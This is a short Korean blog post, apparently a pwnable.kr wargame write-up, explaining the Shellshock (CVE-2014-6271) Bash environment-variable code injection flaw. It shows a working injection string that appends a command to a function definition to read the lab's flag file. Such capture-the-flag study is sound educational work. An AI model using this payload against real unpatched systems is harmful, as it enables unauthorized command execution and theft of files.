Shellshock 취약점은 GNU Bash의 환경변수를 통한 코드 인젝션 취약점이다.
Bash의 환경변수에 함수정의를 이용해서 원하는 코드를 추가 할 수 있고, Bash가 사용될 때 추가된 코드가 실행되는 취약점

Bash는 Shell변수뿐만 아니라 Shell함수도 다른 Bash인스턴스로 Exporting 하는 것이 가능함.
Environment를 통해 새롭게 추가된 함수정의를 전파하기 위해 함수 이름으로 환경변수를 만들고 그 변수안에 '(){로 시작하는 함수 내용을 정의함.


취약점이 존재하는 Bash는 아래와 같이 함수정의 뒤에 임의의 명령어를 추가하면 Bash프로세스에서 해당 환경변수를 import할때 끝에 추가된 명령까지 실행하게 된다.


1
2
3
4
5
shellshock@ubuntu:~$ ./bash -version
GNU bash, version 4.2.25(1)-release (x86_64-pc-linux-gnu)
Copyright (C) 2011 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
 


1
2
3
shellshock@ubuntu:~$ x='() { :;}; /home/shellshock/bash -c "/bin/cat /home/shellshock/flag"' ./shellshock
only if I knew CVE-2014-6271 ten years ago..!!
Segmentation fault
cs


'WarGame > pwnable.kr' 카테고리의 다른 글

Shellshock  (0) 2016.12.11
mistake  (0) 2016.12.11
input  (0) 2016.12.03
random  (0) 2016.11.27
passcode  (0) 2016.11.27
flag  (0) 2016.11.27

+ Recent posts